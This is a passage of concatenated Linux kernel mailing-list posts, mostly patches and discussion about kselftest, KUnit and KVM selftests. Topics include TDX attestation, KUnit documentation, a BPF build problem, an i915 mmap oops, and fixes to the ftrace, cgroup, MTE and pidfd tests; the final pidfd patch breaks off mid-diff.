Patch 3/3 -> Adds selftest support for TDREPORT feature.
Commit log history is maintained in the individual patches.
Current overall status of this series is, it has no pending issues
and can be considered for the upcoming merge cycle.
Kuppuswamy Sathyanarayanan (3):
x86/tdx: Add a wrapper to get TDREPORT from the TDX Module
virt: Add TDX guest driver
selftests: tdx: Test TDX attestation GetReport support
Documentation/virt/coco/tdx-guest.rst | 42 +++++
Documentation/virt/index.rst | 1 +
Documentation/x86/tdx.rst | 43 +++++
arch/x86/coco/tdx/tdx.c | 38 +++++
arch/x86/include/asm/tdx.h | 2 +
drivers/virt/Kconfig | 2 +
drivers/virt/Makefile | 1 +
drivers/virt/coco/tdx-guest/Kconfig | 10 ++
drivers/virt/coco/tdx-guest/Makefile | 2 +
drivers/virt/coco/tdx-guest/tdx-guest.c | 102 ++++++++++++
include/uapi/linux/tdx-guest.h | 41 +++++
tools/testing/selftests/Makefile | 1 +
tools/testing/selftests/tdx/Makefile | 7 +
tools/testing/selftests/tdx/config | 1 +
tools/testing/selftests/tdx/tdx_guest_test.c | 163 +++++++++++++++++++
15 files changed, 456 insertions(+)
create mode 100644 Documentation/virt/coco/tdx-guest.rst
create mode 100644 drivers/virt/coco/tdx-guest/Kconfig
create mode 100644 drivers/virt/coco/tdx-guest/Makefile
create mode 100644 drivers/virt/coco/tdx-guest/tdx-guest.c
create mode 100644 include/uapi/linux/tdx-guest.h
create mode 100644 tools/testing/selftests/tdx/Makefile
create mode 100644 tools/testing/selftests/tdx/config
create mode 100644 tools/testing/selftests/tdx/tdx_guest_test.c
--
2.34.1
This series is posted in context of the discussion at:
https://lore.kernel.org/lkml/Ywa9T+jKUpaHLu%2Fl@google.com/
Changes in v3:
* Original series is split into two and this v3 version contains the
improvements to selftest and VM setup.
* Planning to upload the second series to execute hypercall
instruction according to cpu type separately.
* Addressed comments from David and Sean.
link to v2:
https://lore.kernel.org/all/20220915000448.1674802-1-vannapurve@google.com/
Changes in v2:
* Addressed comments from Andrew and David
* Common function with constructor attribute used to setup initial state
* Changes are split in more logical granules as per feedback
Major changes:
1) Move common startup logic to a single function in kvm_util.c
2) Introduce following APIs:
kvm_selftest_arch_init: to perform arch specific common startup.
kvm_arch_vm_post_create: to update the guest memory state to convey
common information to guests.
3) For x86, capture cpu type at startup and pass on the cpu type to
guest after guest elf is loaded.
Vishal Annapurve (4):
KVM: selftests: move common startup logic to kvm_util.c
KVM: selftests: Add arch specific initialization
KVM: selftests: Add arch specific post vm creation hook
KVM: selftests: x86: Precompute the cpu type
.../selftests/kvm/aarch64/arch_timer.c | 3 ---
.../selftests/kvm/aarch64/hypercalls.c | 2 --
.../testing/selftests/kvm/aarch64/vgic_irq.c | 3 ---
.../selftests/kvm/include/kvm_util_base.h | 9 ++++++++
.../selftests/kvm/lib/aarch64/processor.c | 18 ++++++++--------
tools/testing/selftests/kvm/lib/kvm_util.c | 21 ++++++++++++++++---
.../selftests/kvm/lib/x86_64/processor.c | 16 ++++++++++++--
.../testing/selftests/kvm/memslot_perf_test.c | 3 ---
tools/testing/selftests/kvm/rseq_test.c | 3 ---
tools/testing/selftests/kvm/s390x/memop.c | 2 --
tools/testing/selftests/kvm/s390x/resets.c | 2 --
.../selftests/kvm/s390x/sync_regs_test.c | 3 ---
.../selftests/kvm/set_memory_region_test.c | 3 ---
.../kvm/x86_64/cr4_cpuid_sync_test.c | 3 ---
.../kvm/x86_64/emulator_error_test.c | 3 ---
.../selftests/kvm/x86_64/hyperv_cpuid.c | 3 ---
.../selftests/kvm/x86_64/platform_info_test.c | 3 ---
.../kvm/x86_64/pmu_event_filter_test.c | 3 ---
.../selftests/kvm/x86_64/set_sregs_test.c | 3 ---
.../kvm/x86_64/svm_nested_soft_inject_test.c | 3 ---
.../selftests/kvm/x86_64/sync_regs_test.c | 3 ---
.../selftests/kvm/x86_64/userspace_io_test.c | 3 ---
.../kvm/x86_64/userspace_msr_exit_test.c | 3 ---
23 files changed, 50 insertions(+), 68 deletions(-)
--
2.38.0.rc1.362.ged0d419d3c-goog
usage.rst had most of the content of the tips.rst page copied over.
But it's missing https://www.kernel.org/doc/html/v6.0/dev-tools/kunit/tips.html#customizing-…
Copy it over so we can retire tips.rst w/o losing content.
And in that process, it also gained a duplicate section about how
KUNIT_ASSERT_*() exit the test case early. Remove that.
Signed-off-by: Daniel Latypov <dlatypov(a)google.com>
---
Documentation/dev-tools/kunit/usage.rst | 49 ++++++++++++++++---------
1 file changed, 31 insertions(+), 18 deletions(-)
diff --git a/Documentation/dev-tools/kunit/usage.rst b/Documentation/dev-tools/kunit/usage.rst
index 2737863ef365..b0a6c3bc0eeb 100644
--- a/Documentation/dev-tools/kunit/usage.rst
+++ b/Documentation/dev-tools/kunit/usage.rst
@@ -118,6 +118,37 @@ expectation could crash the test case. `ASSERT_NOT_ERR_OR_NULL(...)` allows us
to bail out of the test case if the appropriate conditions are not satisfied to
complete the test.
+Customizing error messages
+--------------------------
+
+Each of the ``KUNIT_EXPECT`` and ``KUNIT_ASSERT`` macros have a ``_MSG``
+variant. These take a format string and arguments to provide additional
+context to the automatically generated error messages.
+
+.. code-block:: c
+
+ char some_str[41];
+ generate_sha1_hex_string(some_str);
+
+ /* Before. Not easy to tell why the test failed. */
+ KUNIT_EXPECT_EQ(test, strlen(some_str), 40);
+
+ /* After. Now we see the offending string. */
+ KUNIT_EXPECT_EQ_MSG(test, strlen(some_str), 40, "some_str='%s'", some_str);
+
+Alternatively, one can take full control over the error message by using
+``KUNIT_FAIL()``, e.g.
+
+.. code-block:: c
+
+ /* Before */
+ KUNIT_EXPECT_EQ(test, some_setup_function(), 0);
+
+ /* After: full control over the failure message. */
+ if (some_setup_function())
+ KUNIT_FAIL(test, "Failed to setup thing for testing");
+
+
Test Suites
~~~~~~~~~~~
@@ -546,24 +577,6 @@ By reusing the same ``cases`` array from above, we can write the test as a
{}
};
-Exiting Early on Failed Expectations
-------------------------------------
-
-We can use ``KUNIT_EXPECT_EQ`` to mark the test as failed and continue
-execution. In some cases, it is unsafe to continue. We can use the
-``KUNIT_ASSERT`` variant to exit on failure.
-
-.. code-block:: c
-
- void example_test_user_alloc_function(struct kunit *test)
- {
- void *object = alloc_some_object_for_me();
-
- /* Make sure we got a valid pointer back. */
- KUNIT_ASSERT_NOT_ERR_OR_NULL(test, object);
- do_something_with_object(object);
- }
-
Allocating Memory
-----------------
base-commit: 6fe1ad4a156095859721fef85073df3ed43081d4
--
2.38.1.431.g37b22c650d-goog
On Tue, 15 Nov 2022 at 13:36, Björn Töpel <bjorn(a)kernel.org> wrote:
>
Hi,
Adding the kselftest list
> I ran into build issues when building selftests/net on Ubuntu/Debian,
> which is related to that BPF program builds usually needs libc (and the
> corresponding target host configuration/defines).
>
> When I try to build selftests/net, on my Debian host I get:
I've ran into this issue too building with tuxmake [1] that uses
debian containers.
>
> clang -O2 -target bpf -c bpf/nat6to4.c -I../../bpf -I../../../../lib -I../../../../../usr/include/ -o /home/bjorn/src/linux/linux/tools/testing/selftests/net/bpf/nat6to4.o
> In file included from bpf/nat6to4.c:27:
> In file included from /usr/include/linux/bpf.h:11:
> /usr/include/linux/types.h:5:10: fatal error: 'asm/types.h' file not found
> #include <asm/types.h>
> ^~~~~~~~~~~~~
> 1 error generated.
>
> asm/types.h lives in /usr/include/"TRIPLE" on Debian, say
> /usr/include/x86_64-linux-gnu. Target BPF does not (obviously) add the
> x86-64 search path. These kind of problems have been worked around in,
> e.g., commit 167381f3eac0 ("selftests/bpf: Makefile fix "missing"
> headers on build with -idirafter").
>
> However, just adding the host specific path is not enough. Typically,
> when you start to include libc files, like "sys/socket.h" it's
> expected that host specific defines are set. On my x86-64 host:
>
> $ clang -dM -E - < /dev/null|grep x86_
> #define __x86_64 1
> #define __x86_64__ 1
>
> $ clang -target riscv64-linux-gnu -dM -E - < /dev/null|grep xlen
> #define __riscv_xlen 64
>
> otherwise you end up with errors like the one below.
>
> Missing __x86_64__:
> #if !defined __x86_64__
> # include <gnu/stubs-32.h>
> #endif
>
> clang -O2 -target bpf -c bpf/nat6to4.c -idirafter /usr/lib/llvm-16/lib/clang/16.0.0/include -idirafter /usr/local/include -idirafter /usr/include/x86_64-linux-gnu -idirafter /usr/include -Wno-compare-distinct-pointer-types -I../../bpf -I../../../../lib -I../../../../../usr/include/ -o /home/bjorn/src/linux/linux/tools/testing/selftests/net/bpf/nat6to4.o
> In file included from bpf/nat6to4.c:28:
> In file included from /usr/include/linux/if.h:28:
> In file included from /usr/include/x86_64-linux-gnu/sys/socket.h:22:
> In file included from /usr/include/features.h:510:
> /usr/include/x86_64-linux-gnu/gnu/stubs.h:7:11: fatal error: 'gnu/stubs-32.h' file not found
> # include <gnu/stubs-32.h>
> ^~~~~~~~~~~~~~~~
> 1 error generated.
>
> Now, say that we'd like to cross-compile for a platform. Should I make
> sure that all the target compiler's "default defines" are exported to
> the BPF-program build step? I did a hack for RISC-V a while back in
> commit 6016df8fe874 ("selftests/bpf: Fix broken riscv build"). Not
> super robust, and not something I'd like to see for all supported
> platforms.
>
> Any ideas? Maybe a convenience switch to Clang/target bpf? :-)
I added the same thing selftests/bpf have in their Makefile [2] and that
highlighted another issue which is that selftests/net/bpf depends on
bpf_helpers.h
which in turn depends on the generated file bpf_helper_defs.h...
Cheers,
Anders
[1] https://tuxmake.org/
[2] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/too…
As the name implies, for_each_guest_mode() will run the test case for
all supported guest addressing modes. On x86 that doesn't amount to
anything, but arm64 can handle 4K, 16K, and 64K page sizes on supporting
hardware.
Blindly attempting to run access_tracking_perf_test on arm64 stalls on
the second test case, as the 'done' global remains set between test
iterations. Clear it after VM teardown in anticipation of a subsequent
test case.
Signed-off-by: Oliver Upton <oliver.upton(a)linux.dev>
---
tools/testing/selftests/kvm/access_tracking_perf_test.c | 3 +++
1 file changed, 3 insertions(+)
diff --git a/tools/testing/selftests/kvm/access_tracking_perf_test.c b/tools/testing/selftests/kvm/access_tracking_perf_test.c
index 76c583a07ea2..4da066479e0a 100644
--- a/tools/testing/selftests/kvm/access_tracking_perf_test.c
+++ b/tools/testing/selftests/kvm/access_tracking_perf_test.c
@@ -326,6 +326,9 @@ static void run_test(enum vm_guest_mode mode, void *arg)
perf_test_join_vcpu_threads(nr_vcpus);
perf_test_destroy_vm(vm);
+
+ /* Clear done in anticipation of testing another guest mode */
+ done = false;
}
static void help(char *name)
--
2.38.1.431.g37b22c650d-goog
test_cpuset_prs.sh is failing with the following error:
test_cpuset_prs.sh: line 29: [[: 8
57%: syntax error in expression (error token is "57%")
This is happening because `lscpu | grep "^CPU(s)"` returns two lines in
some systems (such as Debian unstable):
# lscpu | grep "^CPU(s)"
CPU(s): 8
CPU(s) scaling MHz: 55%
This is a simple fix that discard the second line.
Signed-off-by: Breno Leitao <leitao(a)debian.org>
---
tools/testing/selftests/cgroup/test_cpuset_prs.sh | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tools/testing/selftests/cgroup/test_cpuset_prs.sh b/tools/testing/selftests/cgroup/test_cpuset_prs.sh
index 526d2c42d870..564ca8c33035 100755
--- a/tools/testing/selftests/cgroup/test_cpuset_prs.sh
+++ b/tools/testing/selftests/cgroup/test_cpuset_prs.sh
@@ -25,7 +25,7 @@ WAIT_INOTIFY=$(cd $(dirname $0); pwd)/wait_inotify
CGROUP2=$(mount -t cgroup2 | head -1 | awk -e '{print $3}')
[[ -n "$CGROUP2" ]] || skip_test "Cgroup v2 mount point not found!"
-CPUS=$(lscpu | grep "^CPU(s)" | sed -e "s/.*:[[:space:]]*//")
+CPUS=$(lscpu | grep "^CPU(s):" | sed -e "s/.*:[[:space:]]*//")
[[ $CPUS -lt 8 ]] && skip_test "Test needs at least 8 cpus available!"
# Set verbose flag and delay factor
--
2.38.1
Fix following coccicheck warning:
tools/testing/selftests/arm64/mte/check_mmap_options.c:64:24-25:
WARNING: Use ARRAY_SIZE
tools/testing/selftests/arm64/mte/check_mmap_options.c:66:20-21:
WARNING: Use ARRAY_SIZE
tools/testing/selftests/arm64/mte/check_mmap_options.c:135:25-26:
WARNING: Use ARRAY_SIZE
tools/testing/selftests/arm64/mte/check_mmap_options.c:96:25-26:
WARNING: Use ARRAY_SIZE
tools/testing/selftests/arm64/mte/check_mmap_options.c:190:24-25:
WARNING: Use ARRAY_SIZE
Signed-off-by: KaiLong Wang <wangkailong(a)jari.cn>
---
tools/testing/selftests/arm64/mte/check_mmap_options.c | 9 ++++-----
1 file changed, 4 insertions(+), 5 deletions(-)
diff --git a/tools/testing/selftests/arm64/mte/check_mmap_options.c b/tools/testing/selftests/arm64/mte/check_mmap_options.c
index a04b12c21ac9..17694caaff53 100644
--- a/tools/testing/selftests/arm64/mte/check_mmap_options.c
+++ b/tools/testing/selftests/arm64/mte/check_mmap_options.c
@@ -61,9 +61,8 @@ static int check_anonymous_memory_mapping(int mem_type, int mode, int mapping, i
{
char *ptr, *map_ptr;
int run, result, map_size;
- int item = sizeof(sizes)/sizeof(int);
+ int item = ARRAY_SIZE(sizes);
- item = sizeof(sizes)/sizeof(int);
mte_switch_mode(mode, MTE_ALLOW_NON_ZERO_TAG);
for (run = 0; run < item; run++) {
map_size = sizes[run] + OVERFLOW + UNDERFLOW;
@@ -93,7 +92,7 @@ static int check_file_memory_mapping(int mem_type, int mode, int mapping, int ta
{
char *ptr, *map_ptr;
int run, fd, map_size;
- int total = sizeof(sizes)/sizeof(int);
+ int total = ARRAY_SIZE(sizes);
int result = KSFT_PASS;
mte_switch_mode(mode, MTE_ALLOW_NON_ZERO_TAG);
@@ -132,7 +131,7 @@ static int check_clear_prot_mte_flag(int mem_type, int mode, int mapping)
{
char *ptr, *map_ptr;
int run, prot_flag, result, fd, map_size;
- int total = sizeof(sizes)/sizeof(int);
+ int total = ARRAY_SIZE(sizes);
prot_flag = PROT_READ | PROT_WRITE;
mte_switch_mode(mode, MTE_ALLOW_NON_ZERO_TAG);
@@ -187,7 +186,7 @@ static int check_clear_prot_mte_flag(int mem_type, int mode, int mapping)
int main(int argc, char *argv[])
{
int err;
- int item = sizeof(sizes)/sizeof(int);
+ int item = ARRAY_SIZE(sizes);
err = mte_default_setup();
if (err)
--
2.25.1
In some platform, the schedule event may came slowly, delay 100ms can't
cover it.
I was notice that on my board which running in low cpu_freq,and this
selftests allways gose fail.
So maybe we can check more times here to wait longer.
Fixes: 43bb45da82f9 ("selftests: ftrace: Add a selftest to test event enable/disable func trigger")
Signed-off-by: Yipeng Zou <zouyipeng(a)huawei.com>
---
.../ftrace/test.d/ftrace/func_event_triggers.tc | 15 +++++++++++----
1 file changed, 11 insertions(+), 4 deletions(-)
diff --git a/tools/testing/selftests/ftrace/test.d/ftrace/func_event_triggers.tc b/tools/testing/selftests/ftrace/test.d/ftrace/func_event_triggers.tc
index 8d26d5505808..3eea2abf68f9 100644
--- a/tools/testing/selftests/ftrace/test.d/ftrace/func_event_triggers.tc
+++ b/tools/testing/selftests/ftrace/test.d/ftrace/func_event_triggers.tc
@@ -38,11 +38,18 @@ cnt_trace() {
test_event_enabled() {
val=$1
+ check_times=10 # wait for 10 * SLEEP_TIME at most
- e=`cat $EVENT_ENABLE`
- if [ "$e" != $val ]; then
- fail "Expected $val but found $e"
- fi
+ while [ $check_times -ne 0 ]; do
+ e=`cat $EVENT_ENABLE`
+ if [ "$e" == $val ]; then
+ return 0
+ fi
+ sleep $SLEEP_TIME
+ check_times=$((check_times - 1))
+ done
+
+ fail "Expected $val but found $e"
}
run_enable_disable() {
--
2.17.1
Hi,
I'm facing a couple of issues when testing KUnit with the i915 driver.
The DRM subsystem and the i915 driver has, for a long time, his own
way to do unit tests, which seems to be added before KUnit.
I'm now checking if it is worth start using KUnit at i915. So, I wrote
a RFC with some patches adding support for the tests we have to be
reported using Kernel TAP and KUnit.
There are basically 3 groups of tests there:
- mock tests - check i915 hardware-independent logic;
- live tests - run some hardware-specific tests;
- perf tests - check perf support - also hardware-dependent.
As they depend on i915 driver, they run only on x86, with PCI
stack enabled, but the mock tests run nicely via qemu.
The live and perf tests require a real hardware. As we run them
together with our CI, which, among other things, test module
unload/reload and test loading i915 driver with different
modprobe parameters, the KUnit tests should be able to run as
a module.
While testing KUnit, I noticed a couple of issues:
1. kunit.py parser is currently broken when used with modules
the parser expects "TAP version xx" output, but this won't
happen when loading the kunit test driver.
Are there any plans or patches fixing this issue?
2. current->mm is not initialized
Some tests do mmap(). They need the mm user context to be initialized,
but this is not happening right now.
Are there a way to properly initialize it for KUnit?
3. there's no test filters for modules
In order to be able to do proper CI automation, it is needed to
be able to control what tests will run or not. That's specially
interesting at development time where some tests may not apply
or not run properly on new hardware.
Are there any plans to add support for it at kunit_test_suites()
when the driver is built as module? Ideally, the best would be to
export a per-module filter_glob parameter on such cases.
4. there are actually 3 levels of tests on i915:
- Level 1: mock, live, perf
- Level 2: test group (mmap, fences, ...)
- Level 3: unit tests
Currently, KUnit seems to have just two levels (test suite and tests).
Are there a way to add test groups there?
Regards,
Mauro
Forwarded message:
Date: Thu, 3 Nov 2022 14:51:38 +0000
From: Mauro Carvalho Chehab <mchehab(a)kernel.org>
To:
Cc: Thomas Hellström <thomas.hellstrom(a)linux.intel.com>, linux-kselftest(a)vger.kernel.org, Michał Winiarski <michal.winiarski(a)intel.com>, dri-devel(a)lists.freedesktop.org, intel-gfx(a)lists.freedesktop.org, Daniel Latypov <dlatypov(a)google.com>, linux-kernel(a)vger.kernel.org, igt-dev(a)lists.freedesktop.org, Matthew Auld <matthew.auld(a)intel.com>, Daniel Vetter <daniel(a)ffwll.ch>, Rodrigo Vivi <rodrigo.vivi(a)intel.com>, skhan(a)linuxfoundation.org, Isabella Basso <isabbasso(a)riseup.net>, David Airlie <airlied(a)gmail.com>, Christian König <christian.koenig(a)amd.com>
Subject: [igt-dev] [PATCH RFC v2 8/8] drm/i915: check if current->mm is not NULL
The mmap tests require mm in order to work. Failing to do that
will cause a crash:
[ 316.820722] BUG: kernel NULL pointer dereference, address: 00000000000000e8
[ 316.822517] #PF: supervisor write access in kernel mode
[ 316.823430] #PF: error_code(0x0002) - not-present page
[ 316.824390] PGD 0 P4D 0
[ 316.825357] Oops: 0002 [#1] PREEMPT SMP NOPTI
[ 316.826350] CPU: 0 PID: 1517 Comm: kunit_try_catch Tainted: G U N 6.1.0-rc2-drm-266703e6f163+ #14
[ 316.827503] Hardware name: Intel Corporation Tiger Lake Client Platform/TigerLake Y LPDDR4x T4 Crb, BIOS TGLSFWI1.R00.3243.A01.2006102133 06/10/2020
[ 316.828633] RIP: 0010:down_write_killable+0x50/0x110
[ 316.829756] Code: 24 10 45 31 c9 31 c9 41 b8 01 00 00 00 31 d2 31 f6 48 89 ef e8 e1 74 4a ff bf 01 00 00 00 e8 87 d6 46 ff 31 c0 ba 01 00 00 00 <f0> 48 0f b1 13 0f 94 c0 5a 84 c0 74 62 8b 05 49 12 e4 00 85 c0 74
[ 316.830896] RSP: 0018:ffffc90001eabc58 EFLAGS: 00010246
[ 316.832008] RAX: 0000000000000000 RBX: 00000000000000e8 RCX: 0000000000000000
[ 316.833141] RDX: 0000000000000001 RSI: ffffffff81c94fc9 RDI: ffffffff81c94fc9
[ 316.834195] RBP: 0000000000000158 R08: 0000000000000001 R09: 0000000000000000
[ 316.835231] R10: 0000000000000000 R11: ffff8883a13350b8 R12: 0000000000000002
[ 316.836259] R13: 0000000000000001 R14: 0000000000100000 R15: 00000000000000e8
[ 316.837237] FS: 0000000000000000(0000) GS:ffff8883a3800000(0000) knlGS:0000000000000000
[ 316.838214] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 316.839190] CR2: 00000000000000e8 CR3: 0000000002812003 CR4: 0000000000770ef0
[ 316.840147] PKRU: 55555554
[ 316.841099] Call Trace:
[ 316.842047] <TASK>
[ 316.842990] ? vm_mmap_pgoff+0x78/0x150
[ 316.843936] vm_mmap_pgoff+0x78/0x150
[ 316.844884] igt_mmap_offset+0x178/0x1b9 [i915]
[ 316.846119] __igt_mmap+0xfe/0x680 [i915]
Unfortunately, when KUnit module runs, it doesn't create an
user context, causing mmap tests to fail.
Signed-off-by: Mauro Carvalho Chehab <mchehab(a)kernel.org>
---
To avoid mailbombing on a large number of people, only mailing lists were C/C on the cover.
See [PATCH RFC v2 0/8] at: https://lore.kernel.org/all/cover.1667486144.git.mchehab@kernel.org/
drivers/gpu/drm/i915/gem/selftests/i915_gem_mman.c | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/drivers/gpu/drm/i915/gem/selftests/i915_gem_mman.c b/drivers/gpu/drm/i915/gem/selftests/i915_gem_mman.c
index add5ae56cd89..2c5f93e946b5 100644
--- a/drivers/gpu/drm/i915/gem/selftests/i915_gem_mman.c
+++ b/drivers/gpu/drm/i915/gem/selftests/i915_gem_mman.c
@@ -1845,6 +1845,11 @@ int i915_gem_mman_live_selftests(struct drm_i915_private *i915)
SUBTEST(igt_mmap_gpu),
};
+ if (!current->mm) {
+ pr_err("Test called without an user context!\n");
+ return -EINVAL;
+ }
+
return i915_live_subtests(tests, i915);
}
EXPORT_SYMBOL_NS_GPL(i915_gem_mman_live_selftests, I915_SELFTEST);
--
2.38.1
Hi,
This is v2 of the fix & selftest previously sent at:
https://lore.kernel.org/linux-mm/20221108195211.214025-1-flaniel@linux.micr…
Changes v1 to v2:
- add 'cc:stable', 'Fixes:' and review/ack tags
- update commitmsg and fix my email
- rebase on bpf tree and tag for bpf tree
Thanks!
Alban Crequy (2):
maccess: fix writing offset in case of fault in
strncpy_from_kernel_nofault()
selftests: bpf: add a test when bpf_probe_read_kernel_str() returns
EFAULT
mm/maccess.c | 2 +-
tools/testing/selftests/bpf/prog_tests/varlen.c | 7 +++++++
tools/testing/selftests/bpf/progs/test_varlen.c | 5 +++++
3 files changed, 13 insertions(+), 1 deletion(-)
--
2.36.1
The proses written in KUnit documentation are IMO incomprehensible (my
brain has to process what the meaning of words used) and different from
wordings that I normally read from technical writings. Thus, rewrite these
using clearer words.
Anyway, it's great to see native English speakers help reviewing this
series.
The first two patches are v3 of rewriting "Writing Your First Test"
section of "Getting Started" patch [1], which was submitted about a
month ago. The rest are actual documentation rewriting.
Note that this series only rewrites intro, test writing and running docs.
[1]: https://lore.kernel.org/lkml/20220929132549.56452-1-bagasdotme@gmail.com/
Bagas Sanjaya (7):
Documentation: kunit: rewrite "Writing Your First Test" section
Documentation: kunit: align instruction code blocks
Documentation: kunit: rewrite the rest of "Getting Started"
documentation
Documentation: kunit: move introduction to its own document
Documentation: kunit: rewrite "Running tests with kunit_tool"
Documentation: kunit: rewrite "Run Tests without kunit_tool"
Documentation: kunit: rewrite "Writing tests"
Documentation/admin-guide/README.rst | 2 +
Documentation/dev-tools/kunit/index.rst | 93 +----
Documentation/dev-tools/kunit/intro.rst | 61 ++++
Documentation/dev-tools/kunit/run_manual.rst | 68 ++--
Documentation/dev-tools/kunit/run_wrapper.rst | 302 ++++++----------
Documentation/dev-tools/kunit/start.rst | 264 +++++++-------
Documentation/dev-tools/kunit/usage.rst | 322 ++++++++++--------
7 files changed, 483 insertions(+), 629 deletions(-)
create mode 100644 Documentation/dev-tools/kunit/intro.rst
base-commit: de3ee3f63400a23954e7c1ad1cb8c20f29ab6fe3
--
An old man doll... just what I always wanted! - Clara
Hello Linus,
I've been trying since July to get this regression that was introduced in
5.14 fixed. This is my third time submitting this version of the patch in the
last two months. Both prior submissions have not received any comments from
(nor have they been applied by) the x86 maintainers. I don't really know
what else to do at this point beyond "complain to the management" as it
were.
I appreciate anything you can do to unjam things here.
- Kyle
Arm have recently released versions 2 and 2.1 of the SME extension.
Among the features introduced by SME 2 is some new architectural state,
the ZT0 register. This series adds support for this and all the other
features of the new SME versions.
Since the architecture has been designed with the possibility of adding
further ZTn registers in mind the interfaces added for ZT0 are done with
this possibility in mind. As ZT0 is a simple fixed size register these
interfaces are all fairly simple, the main complication is that ZT0 is
only accessible when PSTATE.ZA is enabled. The memory allocation that we
already do for PSTATE.ZA is extended to include space for ZT0.
Due to textual collisions especially around the addition of hwcaps this
is based on the concurrently sent series "arm64: Support for 2022 data
processing instructions" but there is no meaningful interaction.
v2:
- Add missing initialisation of user->zt in signal context parsing.
- Change the magic for ZT signal frames to 0x5a544e01 (ZTN0).
Mark Brown (21):
arm64/sme: Rename za_state to sme_state
arm64: Document boot requirements for SME 2
arm64/sysreg: Update system registers for SME 2 and 2.1
arm64/sme: Document SME 2 and SME 2.1 ABI
arm64/esr: Document ISS for ZT0 being disabled
arm64/sme: Manually encode ZT0 load and store instructions
arm64/sme: Enable host kernel to access ZT0
arm64/sme: Add basic enumeration for SME2
arm64/sme: Provide storage for ZT0
arm64/sme: Implement context switching for ZT0
arm64/sme: Implement signal handling for ZT
arm64/sme: Implement ZT0 ptrace support
arm64/sme: Add hwcaps for SME 2 and 2.1 features
kselftest/arm64: Add a stress test program for ZT0
kselftest/arm64: Cover ZT in the FP stress test
kselftest/arm64: Enumerate SME2 in the signal test utility code
kselftest/arm64: Teach the generic signal context validation about ZT
kselftest/arm64: Add test coverage for ZT register signal frames
kselftest/arm64: Add SME2 coverage to syscall-abi
kselftest/arm64: Add coverage of the ZT ptrace regset
kselftest/arm64: Add coverage of SME 2 and 2.1 hwcaps
Documentation/arm64/booting.rst | 10 +
Documentation/arm64/elf_hwcaps.rst | 18 +
Documentation/arm64/sme.rst | 52 ++-
arch/arm64/include/asm/cpufeature.h | 6 +
arch/arm64/include/asm/esr.h | 1 +
arch/arm64/include/asm/fpsimd.h | 28 +-
arch/arm64/include/asm/fpsimdmacros.h | 22 ++
arch/arm64/include/asm/hwcap.h | 6 +
arch/arm64/include/asm/processor.h | 2 +-
arch/arm64/include/uapi/asm/hwcap.h | 6 +
arch/arm64/include/uapi/asm/sigcontext.h | 19 +
arch/arm64/kernel/cpufeature.c | 27 ++
arch/arm64/kernel/cpuinfo.c | 6 +
arch/arm64/kernel/entry-fpsimd.S | 30 +-
arch/arm64/kernel/fpsimd.c | 53 ++-
arch/arm64/kernel/hyp-stub.S | 6 +
arch/arm64/kernel/idreg-override.c | 1 +
arch/arm64/kernel/process.c | 21 +-
arch/arm64/kernel/ptrace.c | 60 ++-
arch/arm64/kernel/signal.c | 113 +++++-
arch/arm64/tools/cpucaps | 1 +
arch/arm64/tools/sysreg | 26 +-
include/uapi/linux/elf.h | 1 +
tools/testing/selftests/arm64/abi/hwcap.c | 115 ++++++
.../selftests/arm64/abi/syscall-abi-asm.S | 43 ++-
.../testing/selftests/arm64/abi/syscall-abi.c | 40 +-
tools/testing/selftests/arm64/fp/.gitignore | 2 +
tools/testing/selftests/arm64/fp/Makefile | 5 +
tools/testing/selftests/arm64/fp/fp-stress.c | 29 +-
tools/testing/selftests/arm64/fp/sme-inst.h | 20 +
tools/testing/selftests/arm64/fp/zt-ptrace.c | 365 ++++++++++++++++++
tools/testing/selftests/arm64/fp/zt-test.S | 324 ++++++++++++++++
.../testing/selftests/arm64/signal/.gitignore | 1 +
.../selftests/arm64/signal/test_signals.h | 2 +
.../arm64/signal/test_signals_utils.c | 3 +
.../arm64/signal/testcases/testcases.c | 36 ++
.../arm64/signal/testcases/testcases.h | 1 +
.../arm64/signal/testcases/zt_no_regs.c | 51 +++
.../arm64/signal/testcases/zt_regs.c | 85 ++++
39 files changed, 1564 insertions(+), 73 deletions(-)
create mode 100644 tools/testing/selftests/arm64/fp/zt-ptrace.c
create mode 100644 tools/testing/selftests/arm64/fp/zt-test.S
create mode 100644 tools/testing/selftests/arm64/signal/testcases/zt_no_regs.c
create mode 100644 tools/testing/selftests/arm64/signal/testcases/zt_regs.c
base-commit: ab0aff0601c29dc7b5cb2ecf42135dccbed6750a
--
2.30.2
From: Li Zhijian <lizhijian(a)fujitsu.com>
[ Upstream commit 88e1f16ba58665e9edfce437ea487da2fa759af9 ]
0Day/LKP observed that the kselftest blocks forever since one of the
pidfd_wait doesn't terminate in 1 of 30 runs. After digging into
the source, we found that it blocks at:
ASSERT_EQ(sys_waitid(P_PIDFD, pidfd, &info, WCONTINUED, NULL), 0);
wait_states has below testing flow:
CHILD PARENT
---------------+--------------
1 STOP itself
2 WAIT for CHILD STOPPED
3 SIGNAL CHILD to CONT
4 CONT
5 STOP itself
5' WAIT for CHILD CONT
6 WAIT for CHILD STOPPED
The problem is that the kernel cannot ensure the order of 5 and 5', once
5 goes first, the test will fail.
we can reproduce it by:
$ while true; do make run_tests -C pidfd; done
Introduce a blocking read in child process to make sure the parent can
check its WCONTINUED.
CC: Philip Li <philip.li(a)intel.com>
Reported-by: kernel test robot <lkp(a)intel.com>
Signed-off-by: Li Zhijian <lizhijian(a)fujitsu.com>
Reviewed-by: Christian Brauner (Microsoft) <brauner(a)kernel.org>
Signed-off-by: Shuah Khan <skhan(a)linuxfoundation.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
tools/testing/selftests/pidfd/pidfd_wait.c | 10 ++++++++++
1 file changed, 10 insertions(+)
diff --git a/tools/testing/selftests/pidfd/pidfd_wait.c b/tools/testing/selftests/pidfd/pidfd_wait.c
index 070c1c876df1..c3e2a3041f55 100644
--- a/tools/testing/selftests/pidfd/pidfd_wait.c
+++ b/tools/testing/selftests/pidfd/pidfd_wait.c
@@ -95,20 +95,28 @@ TEST(wait_states)
.flags = CLONE_PIDFD | CLONE_PARENT_SETTID,
.exit_signal = SIGCHLD,
};
+ int pfd[2];
pid_t pid;
siginfo_t info = {
.si_signo = 0,
};
+ ASSERT_EQ(pipe(pfd), 0);
pid = sys_clone3(&args);
ASSERT_GE(pid, 0);
if (pid == 0) {
+ char buf[2];
+
+ close(pfd[1]);
kill(getpid(), SIGSTOP);
